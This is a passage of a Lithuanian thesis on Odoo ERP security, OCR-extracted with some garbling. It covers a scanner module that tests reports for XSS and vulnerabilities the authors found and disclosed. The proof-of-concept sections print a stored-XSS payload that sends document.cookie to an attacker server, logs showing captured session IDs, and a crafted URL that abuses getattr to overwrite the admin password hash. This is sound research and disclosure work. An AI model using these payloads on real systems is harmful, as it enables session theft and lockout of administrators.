Kadangi treciajame zingsnyje atlieckama egzistuojancio jraso modifikacija, buty neparanku,
jei kaskart atliekant testavimg Sie pakeitimai islikty. Dél Sios priezasties objekto modifikacijos
atliekamos ant atskiro duomeny bazés kursoriaus (angl. cursor), o testavimo pabaigoje kursorius

atstatomas (angl. rollback).

2https://github.com/odoo/odoo/blob/7682760dc/addons/report/models/report.py#L134
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2.2. Tikrinimo modulio architektura

1

I*

report_scan

iractions.report.xml

+name: char
+model: char
+report_type: selection

irmodel

+name: char
+model: char
+field_id: one2many

1

*

irmodel.fields

+name: char 1

+report: many2one

+field_ids: one2many

+state: selection

+data: text
+vulnerable_field_ids: one2many
+error_log: text

+html: text

field_exception

- - -

-_infect(obj)

+action_run()
+action_find_fields()
+action_generate_payloads()

+model: char
+field: char
+comment: text

+model: char
+model_id: many2one
+ttype: selection

| * |+target: char

1

*

model_fields

+scan_id: many2one
+field_id: many2one

+token: char
+payload: text
+state: selection
+relation: selection

-_generate_payload()

2.2 pav. Tikrinimo modulio ORM klasiy UML diagrama

2.2 pateiktoje UML diagramoje atvaizduota kuriamojo modulio naudojamy ir pridedamy

ORM modeliy klasiy diagrama.

Modeliai ir.actions.report.xml, ir.model ir ir.model.fields yra sisteminiai Odoo VVS mode-

liai, jdiegiami kartu su baziniu base moduliu. Sie modeliai turi ir daugiau duomeny lauky ir

metody, tac¢iau jie néra tiesiogiai susije su kuriamu moduliu, todél diagramoje néra atvaizduoti.

ir.actions.report.zml saugo duomenis apie prieinamas VVS sistemos objekty ataskaitas.

ir.model saugoma informacija apie sistemoje naudojamy objekty modelius, pvz. modelio pava-

dinimas, koks modulis sukuria $i modelj, modelio duomeny laukai (,vienas su daug* sarysis i

ir.model.fields) ir t. t. ir.model.fields objektai apraso modeliy duomeny laukus — lauko tipas,

pavadinimas, modelis (,daug su vienu® sarysis i ir.model) ir t. t.

report__scan objektai saugos informacija apie atlickamo ataskaitos testo buseng. 2.1 kitame

puslapyje lenteléje pateikiamas sio modelio duomeny lauky aprasymas.
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2.1 lentelé. Modelio report scan lauky aprasymas

Laukelis Tipas Apibudinimas

report many2one ,2Daug su vienas® sarysis su ir.actions.report.xml modeliu.
Nurodo testuojamos ataskaitos objekta. Sis laukas yra
privalomas.

report_ model char Related tipo laukelis | ir.actions.report.xml objekto,
pasiekiamo per lauka report, name laukelj.

data text Laukelis su papildomais duomenimis, butinais sékmingam
kai kuriy ataskaity atvaizdavimui. Aprasomas JSON
struktura.

field ids one2many »Vienas su daug” tipo sarysis su model fields modelio
objektais. Apibrézia duomeny laukus, kurie buvo rasti
analizuojant ataskaitos objekto modelj.

vulnerable_field ids|one2many Computed ,vienas su daug® tipo laukelis, kurio reikSmé —
galimai pazeidziami duomeny laukai, rasti tikrinimo metu.

state selection Sis laukelis atspindi esamg testo busena. Naudojamas
vartotojo sasajos atvaizdavimo palengvinimui.

error_log text Siame laukelyje saugomas klaidy, jvykusiy tikrinimo
metu, zurnalas.

html text Siame laukelyje saugomas tikrinimo metu sugeneruotos

ataskaitos HTML kodas.

model__fields objektai saugos informacijg tikrinamos ataskaitos objekto laukeliy buseng. 2.2

kitame puslapyje lenteléje pateikiamas Sio modelio duomeny lauky aprasymas.
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2.2 lentelé. Modelio model fields lauky aprasymas

Laukelis

Tipas

Apibudinimas

scan id

manyZ2one

,2Daug su vienu* sarysis su report_scan modeliu.

target

char

Reliaciniuose laukeliuose — rysio j reliacinj lauka

pavadinimas is Sio (ataskaitos objekto) modelio.

relation

selection

Sarysio tipas reliaciniuose laukeliuose. Galimos reikSmeés —
m2m — sarysis ,daug su daug®, m2o — sarysis ,,daug su

vienu“, 02m — sarysis ,vienas su daug".

field id

many2Zone

,2Daug su vienu“ sarysis su ir.model.fields modeliu.
Panaudojant §j sarysj testavimo metu gaunama laukelio

informacija. Sis laukas yra privalomas.

token

char

Siame laukelyje saugomas unikalus Zetonas, skirtas
galimai pazeidziamy duomeny lauky sugeneruotame
ataskaitos HT'ML kode aptikimui. Lauko ilgis — 8

simboliai.

report_ model

char

Related tipo laukelis j ir.actions.report.zml objekto,

pasiekiamo per lauka report, name laukelj.

payload

text

Zalinga reiksmeé, kuria bus pakeiciama Sio ataskaitos
objekto laukelio reikSmé testavimo metu. Pagal
nutyléjimg Si reikSmeé uzpildoma ,;maziau uz“ simboliu,

sujungtu su unikalaus zetono reikSme, pvz. <abcdefgh.

state

selection

Sis laukelis atspindi esamg laukelio testo biiseng. Galimos
reikSmes — tuscias, praleistas (skipped — laukelis nebus
tikrinamas), saugus (ok — laukelis atvaizduotas saugiai),
pazeidziamas (xss — atvaizduojant laukelj kartu buvo
atvaizduotas zalingas kodas), nerastas (not found —
laukelis nebuvo atvaizduotas), per trumpas (too short —

laukelio dydis per mazas tinkamam testui atlikti).

field _exception objektai saugos informacija apie laukelius, kuriuos tikrinimo metu galima

praleisti, pvz. jei tai vidinis sistemos laukelis arba jei laukelyje saugoma reikSmé negali bu-

ti tiesiogiai manipuliuojama vartotojo. 2.3 kitame puslapyje lenteléje pateikiamas Sio modelio

duomeny lauky aprasymas.
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2.3 lentelé. Modelio field exception lauky aprasymas

Laukelis Tipas Apibudinimas

model char Modelio pavadinimas. Sis laukelis yra privalomas.

field char Laukelio pavadinimas. Sis laukelis yra privalomas.
comment text Papildomas paaiskinimas, kodél laukelj galima praleisti.

2.2.1. Ataskaity tikrinimas

Panaudojant sukurta jrankj buvo tikrinamos 36-ios pagrindiniy Odoo moduliy suteikiamos
ataskaitos. Tikrinimo rezultatai pateikiami lenteléje 6.1 zr. psl. 69. Galima pastebéti, jog dau-
guma atvejy (21 i$ 36) ataskaitos patikrinti dél pazeidziamumy nepavyko. To priezastis — ata-
skaity dinamiskumas, kadangi sekmingam ataskaitos sugeneravimui neuztenka vien ataskaitos
objekto, bet butina paruosti ir nurodyti papildomus duomenis. Tokiy ataskaity automatizuotas
tikrinimas tampa labai sudétingas, kadangi kiekviena ataskaita gali reikalauti skirtingo tipo ir
strukturos duomeny parengimo. Tokiy ataskaity testavimas gali buti palengvintas paruosiant
bazine ataskaity testavimo klase panaudojant sukurto modulio funkcijas. Naudojant tokig te-
stavimo klase, programuotojas galéty nurodyti, kokie papildomi duomenys reikalingi sékmingam
ataskaitos generavimui, o Sie testai galéty buti atliekami kartu su Odoo VVS vienety testavimu.

I$ 15-0s sekmingai patikrinty ataskaity, 14-oje pazeidziamumy neaptikta, o vienoje ataskai-

toje aptikti 5 XSS ataka pazeidziami laukai, kuriy reikSmeés iSvedamos ataskaitoje.
2.3. Aptikti pazeidziamumai

Siame skyrelyje pateikiami ir iSnagrinéjami automatizuoto tikrinimo metu ataskaitose ap-

tikti pazeidziamumai.
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2.3.1. Pazeidziamumai ,,Due Payments“ ataskaitoje

Due Payments

Report Model res.partner
Fields Options XSS fields HTML Errors

Target Field Token Payload State
commercial_partner_id City 4345c382 <4345c382 XSS
commercial_partner_id Street 6a315277 <6a315277 XS5
commercial_partner_id Street2 ff5717b4 <ff5717b4 XS5
commercial_partner_id Zip 1bced5ch <1bced5ch XSS
country_id Country Name 7567cdsf <7567cd8f XS5

2.3 pav. Ataskaitos tikrinimo rezultatai

Atliekant automatinj ataskaity tikrinima, account modulio jdiegtoje ataskaitoje ,,Due Pa-
yments“, skirtoje atvaizduoti duomenis apie kliento laiku neapmokétas saskaitas, aptikti penki
laukeliai, kuriuos iSvedant j ataskaitg atliekamas nepilnas arba neatliekamas duomeny isvalymas,

o tai salygoja XSS pazeidziamumo atsiradima. Pazeidziamuma salygojantys laukeliai:

2.4 lentelé. XSS pazeidZziamuma salygojantys laukeliai

Laukelis Apibudinimas

commercial _partner_id.city Kliento darbdavio buveinés miestas.
commercial partner id.street Kliento darbdavio buveinés adresas.
commercial _partner_ id.street2 Papildomas laukelis kliento darbdavio

buveinés adresui.

commercial_partner_id.zip Kliento darbdavio buveinés pasto kodas.

country_id.name Kliento salies pavadinimas.

I$ 2.4 lenteléje pateikto pazeidziamuma salygojanciy laukeliy apibudinimo galima pastebéti,

jog visi laukeliai susije su kliento adreso atvaizdavimu.

2.3.1.1. PazeidZiamumo analizé

Pazeidziami laukeliai atvaizduojami account modulio ,,Due Payments“ ataskaita aprasan-

¢iame XML faile report overdue.zml®:

3https: //github.com/odoo/odoo/blob/1545591 /addons /account /views/report,_overdue.xml#L10
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10
11
12
13

<div "row">
<div "col-xs-5 col-xs-offset-7">
<span "o.name"/><br/>
<span "addresses[o.id] .replace('\n\n', '\n').replace('\n', '&lt;br&gt;')"/>
<span "o.vat"/>
</div>
</div>

10-oje eilutéje kintamojo addresses reikSmeéje naujos eilutés simboliai |n pakei¢iami HTML
elementu <br> tam, jog adresas butu atvaizduotas keliose eilutése (HTML kalboje \n simbolis
ignoruojamas). Kadangi numatytuoju atveju elemento <span/> reiksmeé buty isvaloma, naudo-
jamas QWeb elementas t-raw, kuris, pagal apibrézima?*, neatlieka isvalymo. Dél Sios priezasties,
visa kintamojo addresses reikSmé j ataskaitg iSvedama be isSvalymo. Kintamojo addresses reiks-
mé suformuojama pries generuojant ataskaitg, véliau jo reikSmeé perduodama QWeb Sablony
varikliui °.

Nors ataskaitos HTML naudojamas PDF failui generuoti ir tiesiogiai vartotojo narsykléje

néra atvaizduojamas, galimi du budai jvykdyti galimai zalinga koda JavaScript interpretatoriuje:

1. Atvérus ataskaitos perziuros langg narsykléje. Odoo VVS suteikia
ataskaitos HTML versijos perziuros galimybe narsykléje, pasiekiamg adresu
<odoo__serveris>/report/html/<ataskaitos _pavadinimas>/<objekto_id>, pvz.:
http://localhost:8069 /report/html/account.report__overdue/7.  Atvérus ataskaitos ,Due
Payments“ perziuros puslapj vartotojo narsykléje, viename is pazeidziamy lauky (lent. 2.4
ankstesniame puslapyje) esantis zalingas kodas bus jvykdytas vartotojo narSyklés
kontekste.

2. PDF failo generavimo metu. Odoo serverio procesas sugeneruoty ataskaitos HTML
koda naudoja PDF failo generavimui iskvieciant wkhtmitopdf® jrankj. Nors wkhtmltop-
df procesas vykdomas serveryje, o ne vartotojo kompiuteryje, atrodyty, jog siuo atveju
galimai zalingas kodas negali buti jvykdytas vartotojo narsyklés kontekste, nepaisant to
pazeidziamumo analizés metu pastebéta, jog Odoo VVS procesas, kviesdamas wkhtmltopdf
irankj, jam perduoda ir vartotojo sesijos slapuka. 7 Slapukas perduodamas tam, jog wkht-
mltopdf procesas PDF failo generavimo metu turéty prieiga prie statiniy resursy is Odoo

serverio, pvz. CSS stiliaus faily ar paveiksléliy.

Odoo VVS klientus kurti ir redaguoti gali tik tam tikri VVS vartotojai (jmonés darbuoto-
jai), todél jprastu atveju sio pazeidziamumo grésmeé gana nedidelé, kadangi zalinga koda jvesti
gali tik jmonés darbuotojai. Nepaisant to, jei Odoo VVS jdiegtas ir naudojamas website_sale
el. parduotuvés modulis, tuomet bet kuris e. parduotuvés lankytojui pridéjus bent viena preke
i prekiu krepselj ir jvedus pirkéjo/pristatymo adresa, bus sukurtas naujas kliento objektas su

neisvalytais pirkéjo jvestais duomenimis. Tai gerokai padidina Sio pazeidziamumo rizika, nes

4https://www.odoo.com/documentation /8.0 /reference /qweb.html#data-output
Shttps://github.com/odoo/odoo/blob /1545591 /addons /account /report /account_ print_overdue.py#L44
GhUIx//wkhtnﬂtopdforg/
7https://github.com/odoo/odoo/blob/1545591/zauddons/report/models/report.py#L387
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duomenims su zalingu kodu jvesti nereikalinga jokia autentifikacija. [vedus duomenis su zalingu
kodu atakuotojui pakakty laukti, kol vienas is darbuotojy isspausdins ,,Due Payments“ ataskai-
ta. Siekdamas paspartinti ataka, atakuotojas, taikydamas socialine inzinerija, galéty bandyti
priversti darbuotoja atspausdinti ataskaitg ar aplankyti atakuotojo kliento Odoo VVS ,Due Pa-
yments“ ataskaitos HTML perziuros langa, pvz. siun¢iant apsimeteliska el. laiSka su nuoroda j

ataskaitos HTML perziuros puslapj.

2.3.1.2. ISnaudojimo pavyzdys

Siekiant pademonstruoti galimus pazeidziamumo iSnaudojimo budus, visy pirma paruosia-
mas ,atakuotojo* serveris — atakuotojo valdomas serveris, kurj sis naudoja perimtiems aukos
sesijos slapukams ar neteisétai iSgautiems (panaudojant vartotojo sesija) sistemos duomenims
siysti. Tokiam serveriui sukurti panaudojamas Python standartinés bibliotekos modulis Simp-
leHTTPServer, sukuriantis minimaly HTTP serverj, galintj pateikti failus is programos vykdymo
katalogo vos vienos komandos pagalba:

python -m SimpleHTTPServer

Si komanda musy kompiuteryje sukuria HTTP serverj, naudojantj 8000 prievada
(http://localhost:8000).

Demonstracijai naudojamas taip pat musy kompiuteryje paleistas astuntosios Odoo VVS
serveris, naudojantis 8069 prievada. Demonstracijos duomeny bazéje idiegtas Odoo ,account
modulis ir naudojami demonstraciniai duomenys. Taip pat laikoma, jog Odoo VVS serveryje
idiegtas wkhtmltopdf HTML —PDF konvertavimo jrankis.

Pazeidziamumas iSbandytas Firefoxr v47 ir Google Chrome v51 narsyklése.

ISnaudojimas per ataskaitos HTML perziuros puslapj

[snaudojimo zingsniai:

1. Prisijungus prie Odoo VVS klientus redaguoti galinc¢io vartotojo teisémis, meniu einama
Pardavimai — Pirkéjai, pasirenkamas pirkéjas Agrolait (identifikatorius duomeny bazéje —
7), spaudziamas mygtukas Redaguoti.
2. Viename i$ pazeidziamy laukeliy (lent. 2.4 zr. psl. 38), pvz. gatvés adreso laukelyje
ivedamas toks kodas:
<script>
window.onload = function() {
alert('XsSS');
document .body. insertAdjacentHTML(

'afterbegin', '<img src="http://localhost:8000/' + document.cookie + '" />');
};

Jreriz>

Kadangi issaugojimo metu Odoo VVS neatliekamas duomeny isvalymas, sis zalingas kodas

~N OO WN e

bus iSsaugotas duomeny bazeje be pakeitimy. Ivykdzius tokj koda narsykléje, i ekrana
bus iSvestas pranesimo langas su tekstu ,XSS“ Be to, | ataskaitos HI'ML dokumenta
bus jterpta paveikslélio zyma <img/>. Aukos narsyklei bandant atvaizduoti paveikslelj, i

atakuotojo serverj bus jvykdyta uzklausa su aukos slapuky Odoo VVS reiksme.
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3. Narsykléje atveriamas ,Due Payments® ataskaitos HTML perziuros langas adresu:
http://localhost:8069 /report/html/account.report__overdue/7

* report_overdue | x (&)
< X | O localhost:8069/report/html/account.report_overdue/7 1
OdOO XS5 Great Product for Great People
YourCompany
1725 Slough Ave.
Scranton 18540
Agrolait
Wavre 1300

Austria
Document: Customer account statement
Date: 06/16/2016
Customer ref:

Dear Sir/fMadam,

Our records indicate that some payments on your account are still due. Please find details below.
If the amount has already been paid, please disregard this notice. Otherwise, please forward us the total amount stated below.

If you have any queries regarding your account, Please contact us.

Thank you in advance for your cooperation.

Best Regards,

2.4 pav. Zalingo kodo jvykdymas ataskaitos HTML perziuros puslapyje

2.4 ekrano kopijoje matomas zalingo kodo jvykdymas Google Chrome narsykléje atverus
,2Due Payments“ ataskaitos HT ML perziuros puslapj.
Papildomai, musy paleisto atakuotojo serverio zurnale matomas jrasas:
127.0.0.1 - - [16/Jun/2016 14:55:59] "GET
- /website_lang=en US;%20session_id=155d8b359ddc9ecec60aleaa2f36478f4e5ea2ch
- HTTP/1.1" 404 -
Taigi, atakuotojas  gavo  aukos  sesijos  Odoo VVS  slapuka: ses-
sion__id=155d8b359ddc9ecec60aleaalf36478f4ebealch.
Isnaudojimas ataskaitos PDF failo generavimo metu
Pirmieji du zingsniai — tokie patys kaip ir iSnaudojimo panaudojant ataskaitos HTML
perziuros puslapj. Iterpus zalinga koda j vieng i$ kliento adreso laukeliy, pirkéjo , Agrolait®
formos rodinyje is meniu ,Spausdinti“ pasirinkus punktg ,,Due Payments®“ bus sugeneruotas
pazeidziamos ataskaitos PDF failas. Pranesimo lango siuo atveju neisvysime, taciau atakuotojo
serverio zurnale matomas jrasas:
127.0.0.1 - - [16/Jun/2016 14:30:01] "GET
< /session_id=1c19104ac5643423df4d7ee54239bde59bb04935 HTTP/1.1" 404 -
Tai, jog Odoo VVS wkhtmltopdf kvietimo metu kaip parametra perduoda vartotojo slapuky
reikSme, leidzia jvykdyti sesijos pagrobimo ataka net ir tuomet, kai ataskaitos HTML néra

tiesiogiai grazinamas j aukos narsykle.
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2.4. Projektinés dalies iSvados

Projektinés darbo dalies metu:

suprojektuotas ir suprogramuotas automatizuoto Odoo VVS ataskaity tikrinimo nuo XSS

pazeidziamumy modulis;

« naudojant sukurtg modulj atliktas egzistuojanciy Odoo VVS ataskaity tikrinimas;

« i8 36-iy pagrindiniy ataskaity, 21-os ataskaitos patikrinti nepavyko dél papildomy objekty,
butiny sékmingam dinamiskos ataskaitos sugeneravimui, trukumo.

« vienoje i$ likusiy 15 ataskaity (,,Due Payments®) aptikti 5 laukeliai, kuriy iSvedimas ata-
skaitoje salygoja iSsaugotyjy XSS pazeidziamumo atsiradima;

« atlikta aptikto pazeidziamumo analizé, pademonstruoti galimi pazeidziamumo iSnaudojimo

budai, pasiulytas pazeidziamumo iStaisymas;

o apie aptikta pazeidziamuma pranesta Odoo VVS kuréjams.
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307

3. PAZEIDZIAMUMU PAIESKA KODO PERZIUROS METODU

Kaip apsibrézta analizés dalyje (skyrelis 1.7. zr. psl. 30, Analizés apibendrinimas), planuo-
jama Odoo VVS ieskoti pazeidziamumy kodo perziuros metodu.

Siame skyriuje apzvelgiama kodo perzitros metu aptikty pazeidziamumy analizé.
3.1. Aptikti pazeidziamumai

Siame skyrelyje pateikiami ir isnagrinéjami kodo perziiros metodu Odoo VVS aptikti pa-

zeidziamumai.
3.1.1. XSS pazeidziamumas ,,website*“ modulyje

Kodo perziuros metu aptiktas iSsaugotos XSS atakos pazeidziamumas website moduly-
je, leidziantis atakuotojui, turindiam Odoo VVS naudotojo teises ir produkty (modelis pro-
duct.product) redagavimo privilegija, iterpti zalinga JavaScript koda i produkto pavadinimo
laukelj. Véliau sis kodas be iSvalymo atvaizduojamas aukos narsykléje atidarius produkto pusla-
pi e. parduotuvéje (jei idiegtas modulis website sale). PaZzeidziamumas paveikia Odoo VVS 8.0

bei 9.0 versijas.

3.1.1.1. PazZeidziamumo analizé

Pazeidziamumas kyla @ Web paveikslélio valdiklio (angl. image widget) HTML kodo gene-
ravimo metu. Sis funkcionalumas aprasomas modulio website failo models/ir__qweb.py funkcijoje

record_to_html 303-joje eilutéje!:

if options.get('alt-field') and getattr(record, options['alt-field'], Nomne):
alt = record[options['alt-field']]

elif options.get('alt'):
alt = options['alt']

img = '<img class="Ys" src="Ys" style="Ys"%s/>"' 7, (classes, src, options.get('style', ''), '
o alt="Y%s"' % alt if alt else '')

return ir_qweb.HTMLSafe (img)

Kodo fragmento 306-oje eilutéje formuojama img HTML Zyma, kurios vienas i$ atributy
yra alt (Sis atributas naudojamas narsyklése, kai pagrindinio elemento, $iuo atveju, paveikslélio,
nejmanoma sékmingai atvaizduoti, pvz. jei paveikslélis neegzistuoja arba yra netinkamo forma-
to. Taip pat $is atributas naudojamas ekrano skaityklése siekiant apibiidinti elementa?). Sio
atributo reiksmé formuojama 302-305 eilutése, Siuo atveju atributo teksto reikSmé perduodama
per paveikslélio valdiklio QWeb XML Sablone parametra, kuris nurodo, kuriame atvaizduoja-

mo objekto (Siuo atveju produkto) laukelyje saugoma tekstiné atributo reikSme. img elemento

]lwtp$//gﬁhubxxnn/odoo/odoo/bkkﬂ1545591/addons/Webﬂtqhnodeb/h;queb{nq¢L303
https://en.wikipedia.org/wiki/Alt_attribute
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HTML kodas formuojamas naudojant paprasta tekstiniy eiluciy formatavimo funkcija, o alt at-
ributo reikSmeé pries formatavimag néra iSvaloma. Galiausiai, funkcija grazina paveikslélio img
elemento HTML koda, apvilkta i HT'MLSafe klasés objekta, kuris naudojamas nurodyti, jog si
reikSmeé yra ,saugi“ ir papildomas jos iSvalymas nereikalingas.

Vienas i pavyzdziy, kur §i klaida Odoo VVS salygoja XSS pazeidziamumo atsiradima,

rastas website_sale modulio QWeb XML Sablono failo views/templates.zml 371-oje eilutéje’:

<span "image" "product.image" '{"widget":
- "image", "class": "product_detail img", "alt-field": "name"}'/>
</div><div "col-sm-5 col-md-5 col-1g-4 col-lg-offset-1">
<h1 "name" "product.name">Product Name</h1>
<span "url" "display:none;" "' /shop/product/%s' % slug(product)"/>

Kodo fragmente 371-0je eilutéje aprasomas produkto paveikslélis, nurodoma, jog bus nau-
dojamas paveikslélio valdiklis: "widget": "image", ir kad alt atributo reikSmeé yra produkto pa-

vadinimas: "alt-field": "name".

3.1.1.2. ISnaudojimo pavyzdys

Demonstracijai naudojamas musy kompiuteryje paleistas astuntosios Odoo versijos VVS
serveris, naudojantis 8069 prievada. Demonstracijos duomeny bazéje jdiegtas Odoo website_sale
modulis ir naudojami demonstraciniai moduliy duomenys.

Pazeidziamumas isbandytas Firefox v50 ir Google Chrome v54 narsyklése.

[snaudojimo zingsniai:

1. Prisijungus prie Odoo VVS su naudotoju, turin¢iu produkty redagavimo privilegijas, pag-
rindiniame meniu einama Pardavimai — Produktai, pasirenkamas produktas [A2323] iPad
Retina Display, spaudziamas mygtukas Redaguoti.

2. Produkto pavadinimo laukelyje jvedamas toks kodas: H/><script>a1ert('XSS');<.
Kadangi issaugojimo metu Odoo VVS neatliekamas duomeny isvalymas, Sis zalingas kodas
bus iSsaugotas duomeny bazéje be pakeitimy. [vykdzius tokj koda narsykléje, j ekrang bus
iSvestas pranesimo langas su tekstu ,XSS*

3. Narsykléje atveriamas produkto puslapis e. parduotuvéje ( Tinklapis — Pardavimy skyria,

pasirenkamas produktas).

3https://github.com/odoo/odoo/blob/1545591 /addons/website_sale/views/templates.xml#L371
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Transferring data from 172.20.0.3....

3.1 pav. Zalingo kodo jvykdymas produkto e. parduotuveés puslapyje

3.1 ekrano kopijoje matomas zalingo kodo jvykdymas Firefox narsykléje atvérus produkto

»[A2323] iPad Retina Display“ e. parduotuves puslapj.

3.1.2. Nesaugus getattr() funkcijos naudojimas modulyje ,,mail*

Kodo perziuros metu aptiktas nesaugus Python funkcijos getattr() naudojimo HTTP val-
diklyje atvejis, leidziantis atakuotojui, turin¢iam minimaliy privilegijy naudotojo prisijungima
prie Odoo VVS jvykdyti bet kurio Odoo VVS modelio metoda, priimantj bent penkis argumentus

(arba daugiau, jei like parametrai neprivalomi) ir kurio antrasté atitinka formata:
1. self — modelio objektas;

cr — duomeny bazés kursorius;
uid — veiksma vykdancio vartotojo identifikatorius duomeny bazéje;
<int> — sveikojo skaic¢iaus tipo kintamasis;

<int> — sveikojo skaic¢iaus tipo kintamasis;

SRR

kiti, neprivalomi, parametrai.

[snaudojant Sig klaidg galima apeiti Odoo VV'S RPC priegos prie modeliy metody valdymo
mechanizmg ir tokiu budu jvykdyti per RPC* sasaja neprieinamus privacius (prasidedancius
simboliu ,,“) modeliy metodus. Tokie metodai numatytuoju atveju néra prieinami is iSorés per
jokia sasaja (ju ivykdymas galimas tik modulio viduje), todél teoriskai vykdant tokj metoda gali
buti neatliekama jokia prieigos kontrolé, tokiu budu atsiranda prieigos valdymo mechanizmo

apéjimo pazeidziamumas. Pazeidziamumas paveikia Odoo VVS 7.0 bei 8.0 versijas.

“https: / /www.odoo.com/documentation/8.0/api_integration.html
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3.1.2.1. PazZeidziamumo analizé

Pazeidziamumas kyla mail modulio HTTP valdiklio metode download__attachment, apra-

Somame modulio failo controllers/main.py 16-oje eilutéje®:

@http.route('/mail/download_attachment', type='http', auth='user')
def download_attachment(self, model, id, method, attachment_id, **kw):
# FIXME use /web/binary/saveas directly
Model = request.registry.get(model)
res = getattr(Model, method) (request.cr, request.uid, int(id), int(attachment_id))
if res:
filecontent = base64.b64decode(res.get('base64'))
filename = res.get('filename')
content_type = mimetypes.guess_type(filename)
if filecontent and filename:
return request.make_response (
filecontent,
headers=[('Content-Type', content_typel[0] or 'application/octet-stream'),

('Content-Disposition', content_disposition(filename))])

return request.not_found()

Sis valdiklis apdoroja HTTP GET uzklausas adresu /mail/download_attachment ir reika-
lauja naudotojo prisijungimo. Valdiklis skirtas el. pasto laiSky prisegtuky atsisiuntimui.

Kodo fragmento 19-oje eilutéje kvie¢iama Python programavimo kalbos getattr funkcijaS,
kuri grazina modelio objekto Model atributa, kurio pavadinimas saugomas kintamajame method.
Svarbu atkreipti démesj j tai, jog modelio pavadinimo ir modelio metodo reiksmés yra valdomos
atakuotojo — jos perduodamos per HT'TP GET uzklausos parametrus. Funkcijos getattr grazin-
tas atributas (Siuo atveju — modelio metodas) yra iskart kvie¢iamas su argumentais request.cr,
request.uid, int(id), int(attachment_id). Svarbu pastebéti, jog du pirmieji argumentai néra val-
domi atakuotojo, taciau du paskutinieji — id ir attachment id — valdomi atakuotojo per HTTP
GET uzklausos parametrus. Kvieciant tinkamo argumenty kiekio reikalaujantj metoda per Siy
dviejy parametry reikSmes atakuotojas gali perduoti metodui savo galimai zalingas reiksSmes.
Taip pat yra svarbu, jog kvie¢iamas metodas grazinty tuscia reikSme, pvz.: False, ”, None, []
arba {}, kurios salygos sakinyje buty jvertintos kaip netiesa (nulis Bulio algebroje). Kitu atveju,
jei metodo grazinamos reiksmeés tolimesnis apdorojimas (21-28 eilutés kodo fragmente) sukels
neapdorota iSimtj (angl. exception), duomeny bazés tranzakcija bus atSaukta (angl. rollback).

Kadangi funkcija getattr yra vidiné Python programavimo kalbos funkcija, ja naudojant

netaikomi jokie vidiniai Odoo VVS prieigos ribojimo mechanizmai.

5https://github.com/odoo/odoo/blob/1545{")91/addons/mail/controllers/main.py#LlG
Ohttps: / /docs.python.org/2/library /functions. html#getattr
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3.1.2.2. ISnaudojimo pavyzdys

Demonstracijai naudojamas musy kompiuteryje paleistas astuntosios Odoo versijos VVS
serveris, naudojantis 8069 prievada. Demonstracijos duomeny bazéje jdiegtas Odoo mail modulis
ir naudojami demonstraciniai moduliy duomenys.

Kodo paieskos pagalba Odoo VVS modulyje auth crypt nustatytas metodas

_ set__encrypted__password, kurio antrasté atitinka pazeidziamo metodo reikalavimus. Modulis

auth__crypt naudojamas duomeny bazéje saugomu prisijungimo vardo/slaptazodzio principu
paremtai vartotojy autentifikacijai.

Metodo _set encrypted password kodas”:

def _set_encrypted_password(self, cr, uid, id, encrypted, context=None):
""r-Store the provided encrypted password to the database, and clears

any plaintext password

:param uid: td of the current user
:param 1d: id of the user on which the password should be set
cr.execute(

"UPDATE res_users SET password='', password_crypt=/s WHERE id=Ys",

(encrypted, id))

[43

Reikia atkreipti démesj j tai, jog metodo pavadinimas prasideda simboliu ,, “, o tai reis-
kia, jog metodas néra pasiekiamas i$ isorés (net ir administratoriui) per RPC sasaja. Metodas
nustato vartotojo, kurio duomeny bazés identifikatorius perduodamas parametru id, slaptazo-
dzio maisos reikSme j tg, kuri perduodama parametru encrypted. Kaip matoma kodo fragmento
85-eilutéje, slaptazodzio maisos reiksmeé kei¢iama vykdant tiesiogine SQL uzklausg per duomeny
bazés kursoriy. Tai reiskia, jog néra pritaikomos Odoo VVS ORM modeliy prieigos tikrinimo
taisykleés, tikrinancios, ar vartotojas gali jvykdyti operacija.
[snaudojimo zingsniai:

1. Prisijungiame prie Odoo VVS su naudotoju, turinc¢iu kad ir pacias minimaliausias prieigos
privilegijas, pvz.: vartotojo vardas — demo, slaptazodis — demo.

2. Sukonstruojame atakos URL adresa. Pavyzdziui, pakeisime admin vartotojo (duomeny
bazés ID: 1) slaptazodzio maiSos reikSme i 123: http://localhost:8069/mail/download
attachment?model=res.users&method=_set_encrypted_ password&id=1&attachment
id=123. Sukonstruotame URL vartotojo identifikatorius perduodamas parametru id, o
slaptazodzio maisos reikSmé — parametru attachment id.

3. Sukonstruotas URL atveriamas narsykléje — iSvedamas klaidos pranesimas, jog resurso
rasti nepavyko (HTTP statusas kodas — 404).

4. Atsijungiame nuo Odoo VVS.

5. Bandome prisijungti administratoriaus teisémis (pagal nutyléjima, vartotojo vardas — ad-

min, slaptazodis — admin).

Thttps://github.com/odoo/odoo/blob/1545591 /addons/auth_crypt /auth_crypt.py#L78
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6. Isvedamas klaidos pranesimas apie vidine serverio klaida (zr. 3.2 pav.).

Internal Server Error *\ +
€) © | 172200.38069/web/logi cle Ov A O ¥ =

500: Internal Server Error

3.2 pav. Vidiné serverio klaida bandant prisijungti administratoriaus teisémis

Papildomai, Odoo VVS serverio zZurnale matomas jrasas:

2016-11-17 14:17:14,511 19 ERROR vuln openerp.addons.website.models.ir_http:
<~ 500 Internal Server Error:

Traceback (most recent call last):
File "/home/odoo/odoo/addons/website/models/ir_http.py", line 199, in _handle_exception

response = super(ir_http, self)._handle_exception(exception)

File "/usr/local/lib/python2.7/dist-packages/passlib/context.py", line 1455,
- 1in identify_record

raise ValueError("hash could not be identified")

ValueError: hash could not be identified

Klaida kyla i§ Odoo VVS naudojamos papildomos bibliotekos passlib®, kuri, bandydama
patikrinti jvesto administratoriaus slaptazodzio maisos funkcijos reiksSme¢ su saugoma duome-
ny bazéje, sukelia iSimties situacija, kadangi musy jrasyta reikSmé 723 neatitinka bibliotekos
naudojamo maisos reiksmeés ir naudojamo algoritmo aprasymo formato. Tai reiskia, jog kvie-
ciant _ set_encrypted_password negalima sékmingai pakeisti vartotojo slaptazodzio, tac¢iau ga-
lima jvykdyti atsisakymo aptarnauti ataka (angl. Denial of Service, DOS), kadangi vartotojas
negalés prisijungti prie sistemos.

Tai tik vienas i$ galimai keleto pazeidziamumy, atsirandanciy dél nesaugaus getattr funk-

cijos naudojimo, taciau jis puikiai parodo sios klaidos iSnaudojimo galimybes.

8https: //pythonhosted.org/passlib/
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3.1.3. RFD pazeidziamumas ,,web* modulyje

Kodo perzituros metu aptiktas atspindéto failo atsiuntimo pazeidziamumas (angl. RFD,
reflected file download), leidZiantis atakuotojui paruosti tokia Odoo VVS nuoroda, jog ja atvérus
